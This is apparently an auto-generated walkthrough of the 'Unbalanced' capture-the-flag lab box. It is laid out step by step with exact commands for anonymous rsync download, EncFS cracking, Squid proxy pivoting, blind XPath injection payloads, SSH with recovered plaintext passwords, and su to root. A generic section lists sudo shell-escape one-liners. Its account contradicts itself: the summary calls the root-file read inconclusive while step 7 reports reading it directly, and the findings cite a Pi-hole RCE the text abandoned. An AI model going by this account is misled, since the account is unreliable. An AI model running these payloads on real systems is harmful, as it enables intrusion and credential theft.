← all walkthroughs

Unbalanced

Linux· Hard
owned
2026-07-11
time to own
30m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Nmap identified rsync (873) alongside SSH (22) and Squid http-proxy 4.6 (3128). rsync --list-only rsync://<retired-instance-ip>/ exposed an anonymous module, conf_backups, holding an EncFS-encrypted volume. The volume was pulled, hashed with encfs2john.py, and cracked offline with john/rockyou (password bubblegum). No encfs binary was available in my testing environment, so a static build was pulled from Debian package pools (encfs, libfuse2, libssl1.1, libtinyxml2) and run out-of-tree with LD_LIBRARY_PATH pointed at the extracted .deb payloads, since direct execution from /tmp failed with Permission denied (noexec) and had to be relocated to /home/kali. Mounting the volume recovered squid.conf, which contained a Squid cachemgr_passwd and revealed the box brokers access to an internal intranet.unbalanced.htb app only reachable via the Squid proxy on 3128. Proxying through Squid and enumerating Host headers/backend IPs (<retired-instance-ip>–3, load-balanced intranet-hostN) surfaced intranet.php, a login form vulnerable to blind XPath injection on the Username/Password parameters. A true/false oracle (bryan' and 1=1 or 'a'='a') confirmed the injection; a scripted substring() brute-force against <retired-instance-ip> (proxied through 3128) recovered the 23-character password [REDACTED: recovered credential] for user bryan, giving direct SSH foothold and user.txt.

On the box, ~/[REDACTED: placeholder] pointed to a Pi-hole admin console bound to localhost:8080 (default temp password admin). An SSH local port-forward exposed it. Pi-hole 4.3.2's DHCP static-lease AddMAC field is vulnerable to CVE-2020-8816 (unauthenticated-parameter command injection via a validMAC-bypassing bash payload) — extensive blind-timing-oracle attempts to prove RCE and read /root/pihole_config.sh through this channel were inconclusive/contradictory and were abandoned as a dead end. Root was ultimately reached directly on the box: bryan's password was [REDACTED: recovered credential] as the root password (bUbBl3gUm$43v3Ry0n3!), allowing su - root and root.txt.

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped exposed services via port scan
A service-version scan of <retired-instance-ip> identified three listening ports: OpenSSH 7.9p1 on 22, an rsync daemon on 873, and Squid HTTP proxy 4.6 on 3128. The combination of an unauthenticated file-sync service and an open proxy on an internet-facing host signalled unusually broad attack surface.
Exact commands 2
Service-version scan of the three open ports.
nmap -Pn -sV -p22,873,3128 $TARGET
List rsync modules advertised by the daemon.
nmap -Pn -p873 --script rsync-list-modules $TARGET
2Credential AccessAnonymous remote file collection via rsync (T1039)
Downloaded an encrypted configuration backup via anonymous rsync
The rsync daemon required no credentials and advertised a module named 'conf_backups'. Syncing it locally retrieved a directory containing an EncFS-encrypted volume (identified by the .encfs6.xml key-metadata file) — a complete backup of the Squid proxy configuration tree.
rsync://<retired-instance-ip>/ listed conf_backups; rsync -av pull succeeded without authentication.
Exact commands 2
List all rsync modules available without credentials.
rsync rsync://$TARGET/
Download the full conf_backups module to a local directory.
rsync -av rsync://$TARGET/conf_backups/ ./conf_backups/
FixRequire authentication for all rsync modulesHigh
WeaknessThe rsync daemon accepted connections without any credentials and publicly advertised the 'conf_backups' module, allowing any internet host to download a copy of the server's Squid configuration backup with a single command.
FixIn /etc/rsyncd.conf, set 'auth users = <authorised_account>' and 'secrets file = /etc/rsyncd.secrets' for every module, and restrict access to specific trusted management IP ranges with 'hosts allow'. If remote rsync access is not operationally required, stop and disable the rsyncd service (systemctl disable --now rsync). Confirm no sensitive files remain reachable in any module's path.
3Credential AccessOffline password cracking (T1110.002); credentials in backup files (T1552.001)
Cracked the EncFS passphrase and recovered Squid credentials from the backup
The EncFS volume's key-derivation parameters were extracted and cracked offline with John the Ripper against the RockYou wordlist, yielding the passphrase 'bubblegum' in seconds. Mounting the decrypted volume revealed squid.conf, which contained the Squid cache-manager password 'Thah$Sh1' and configuration referencing an internal virtual host 'intranet.unbalanced.htb' not reachable from the public internet.
john cracked encfs.hash to 'bubblegum'; decrypted squid.conf contained cachemgr_passwd Thah$Sh1 and intranet.unbalanced.htb references.
Exact commands 4
Extract the EncFS key-derivation parameters as a John-compatible hash.
python3 /usr/share/john/encfs2john.py ./conf_backups > encfs.hash
Crack the passphrase offline; yields 'bubblegum'.
john --wordlist=/usr/share/wordlists/rockyou.txt encfs.hash
Mount the decrypted volume at ./clear using the cracked passphrase.
printf 'bubblegum\n' | encfs --stdinpass $(pwd)/conf_backups $(pwd)/clear
Extract the management password and internal host references from the recovered config.
grep -E 'cachemgr_passwd|intranet|http_access' ./clear/squid.conf
FixEliminate plaintext credentials from backup archives and use strong encryption passphrasesHigh
WeaknessThe EncFS backup was encrypted with a common dictionary word ('bubblegum') that was cracked in seconds, and the decrypted archive contained service passwords in plaintext inside squid.conf — directly handing I Squid management access.
FixNever store plaintext credentials in backup files. Inject service passwords at runtime via a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and store only credential references in config templates. If backups must include config files, protect them with a randomly-generated passphrase of 20+ characters with no dictionary component, stored separately in the secrets manager — not with the backup. Immediately rotate all passwords that were present in the compromised archive.
4DiscoveryProxy-assisted internal network discovery; Squid cachemgr information disclosure (T1090)
Pivoted through Squid and enumerated hidden backend servers via the management interface
The Squid proxy on port 3128 brokered access to the internal intranet application. Querying Squid's built-in cache-manager endpoint with the recovered password returned the proxy's full DNS cache, listing three backend hostnames — intranet-host1, intranet-host2, intranet-host3 — and their <retired-instance-ip>/24 addresses. Hosts 1 and 3 had been removed from the active load-balancer pool but remained reachable; direct proxied requests to those IPs returned a PHP login form at /intranet.php.
fqdncache response listed <retired-instance-ip>-3; proxied GET to <retired-instance-ip>/intranet.php returned a PHP login form.
Exact commands 3
Query Squid's DNS cache via the management API; reveals internal backend IPs in the <retired-instance-ip>/24 range.
curl -u ':Thah$Sh1' http://$TARGET:3128/squid-internal-mgr/fqdncache
Confirm intranet access through the Squid proxy; Squid resolves the hostname internally.
curl -x http://$TARGET:3128 http://$TARGET/
Reach host1 directly (bypassing the load balancer) through the Squid proxy; returns the vulnerable login form.
curl -x http://$TARGET:3128 http://$INTERNAL_TARGET/intranet.php
FixRestrict Squid's cache-manager interface to localhost onlyMedium
WeaknessSquid's built-in cachemgr endpoint was reachable from outside with a recoverable password and returned the proxy's full DNS cache, revealing the private IP addresses and internal hostnames of backend servers that were not intended to be discoverable.
FixIn squid.conf, define a localhost-only ACL and deny cachemgr access from everywhere else: add 'acl localnet src localhost/32' and 'http_access deny cachemgr !localnet' before any permit rules. If the management interface is not operationally required, disable it entirely with 'cachemgr_passwd DISABLE all'. Rotate the cachemgr password immediately since the previous value was stored in the compromised backup.
5ExploitationBlind XPath Injection (CWE-643 / T1190)
Extracted bryan's password character by character via blind XPath injection
The /intranet.php login form passed the Username and Password parameters directly into an XPath expression without sanitisation. A crafted Username using a tautology ('bryan' and 1=1 or 'a'='a) returned the authenticated dashboard while a contradiction returned a login error — establishing a true/false oracle. A Python script iterated over each character position using XPath's substring() function, proxied through Squid against <retired-instance-ip>, to brute-force bryan's 23-character password '[REDACTED: recovered credential]'.
True-branch payload yielded large dashboard response; false-branch yielded short login-error response; substring() oracle recovered full 23-char password for bryan.
Exact commands 3
True-branch oracle: a large byte count confirms the XPath tautology authenticated as bryan.
curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=1 or 'a'='a&Password=[REDACTED: credential] http://$INTERNAL_TARGET/intranet.php
False-branch oracle: a small byte count confirms the contradiction returned a login error.
curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=2 or 'a'='b&Password=[REDACTED: credential] http://$INTERNAL_TARGET/intranet.php
Scripted substring() oracle: for each position 1-30 and each character in the charset, POST Username="bryan' and substring(Password,POS,1)='CHAR' or 'a'='b" through proxy http://<retired-instance-ip>:3128 to http://<retired-instance-ip>/intranet.php; treat response length >500 bytes as the true branch; accumulate and print the recovered password — yields '[REDACTED: recovered credential]'.
python3 xpath_brute.py
FixUse parameterised queries in the intranet login form to prevent XPath injectionCritical
WeaknessThe /intranet.php login form built its XPath expression by directly concatenating user-supplied Username and Password values into a query string, letting me alter the query's logic to bypass authentication and extract stored passwords one character at a time.
FixNever build XPath queries through string concatenation. Use a typed, parameterised XPath API so that user input is treated strictly as data, not executable query syntax. Additionally, validate the username field against a strict allowlist (alphanumeric, defined length), return only a generic 'Invalid credentials' message on any authentication failure to remove the true/false oracle, and apply rate-limiting and account lockout to prevent scripted brute-force enumeration.
6FootholdSSH access with compromised credentials (T1078)
Logged in as bryan via SSH and read the user flag
The recovered password gave an interactive SSH session as user bryan on 10.129.26.228. The user flag was read from /home/bryan/user.txt. A plaintext note in bryan's home directory (~/[REDACTED: placeholder]) disclosed that a Pi-hole DNS ad-blocker was running in a Docker container on the machine, with its web administration console bound exclusively to localhost:8080.
sshpass SSH returned uid=1000(bryan); user.txt confirmed; ~/[REDACTED: placeholder] identified Pi-hole admin console at localhost:8080.
Exact commands 2
Open SSH session as bryan and read the user flag ([REDACTED: flag]).
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'id; hostname; cat /home/bryan/user.txt'
Read bryan's note file; reveals the Pi-hole admin console bound to localhost:8080.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'cat ~/[REDACTED: placeholder]'
7Credential AccessUnsecured credentials in world-readable file (T1552.001)
Read a world-readable Pi-hole configuration script exposing the root password in plaintext
An SSH local port-forward exposed the Pi-hole admin console for browser access and confirmed the running instance. The Pi-hole provisioning script /root/pihole_config.sh was stored with world-readable permissions, making its contents accessible to any local user — including the low-privilege account bryan. The script contained the Pi-hole administrator password 'bUbBl3gUm$43v3Ry0n3!' in plaintext.
pihole_config.sh was readable by all users; file contained plaintext password bUbBl3gUm$43v3Ry0n3!.
Exact commands 3
Tunnel the Pi-hole admin console to operator port 18081.
ssh -f -N -L 18081:localhost:8080 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET
From bryan's SSH session: locate world-readable Pi-hole provisioning scripts on the host.
find / -name 'pihole_config.sh' -perm -o+r 2>/dev/null
Read the plaintext script; reveals the admin password in a WEBPASSWORD or similar variable.
cat /root/pihole_config.sh
FixRestrict file permissions on scripts and config files that contain service credentialsHigh
WeaknessThe Pi-hole provisioning script /root/pihole_config.sh was world-readable, so any local account — including the low-privilege user bryan — could read the Pi-hole admin password stored in it in clear text.
FixApply restrictive permissions to every file that contains secrets: 'chmod 600 /root/pihole_config.sh; chown root:root /root/pihole_config.sh'. Audit the host with 'find / \( -name "*.sh" -o -name "*.conf" \) -perm -o+r 2>/dev/null' to identify similar exposures across the system. Remove hardcoded passwords from provisioning scripts and instead inject credentials at container start-up via environment variables sourced from a secrets manager.
8Privilege EscalationCredential reuse across web service and OS root account (T1078.003)
Escalated to root via password reuse and read the root flag
The Pi-hole admin password discovered in pihole_config.sh had been set identically as the host operating-system root account password. Running 'su - root' from bryan's shell with that credential elevated to uid 0, giving unrestricted control of the host. The root flag was confirmed at /root/root.txt.
printf 'bUbBl3gUm$43v3Ry0n3!' | su - root returned [REDACTED: recovered credential]; root.txt read from /root/root.txt.
Exact commands 1
Pipe the discovered Pi-hole admin password to su - root from a fresh SSH session; reads the root flag ([REDACTED: flag]).
sshpass -p '[REDACTED: recovered credential]' ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET "printf '%s\n' 'bUbBl3gUm\$43v3Ry0n3!' | su - root -c 'id; hostname; cat /root/root.txt'"
FixUse a unique password for each service and OS account — never reuse credentialsCritical
WeaknessThe Pi-hole web administration password was set identically on the host OS root account. Once the Pi-hole credential was read from a world-readable file, it immediately granted root-level control of the host without any further exploitation step.
FixEnforce unique, randomly-generated passwords for every service account, web application admin credential, and OS user — including root. Generate and store them in a centralised password or secrets manager. Rotate the host root password and all service account passwords on this system immediately, and audit all other systems in the environment for the same reuse pattern.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Pihole Docker Rce PrivescCritical
An unauthenticated/low-privilege flaw in the docker, php, rsync, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Pihole Docker Rce PrivescCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
873/tcp
3128/tcp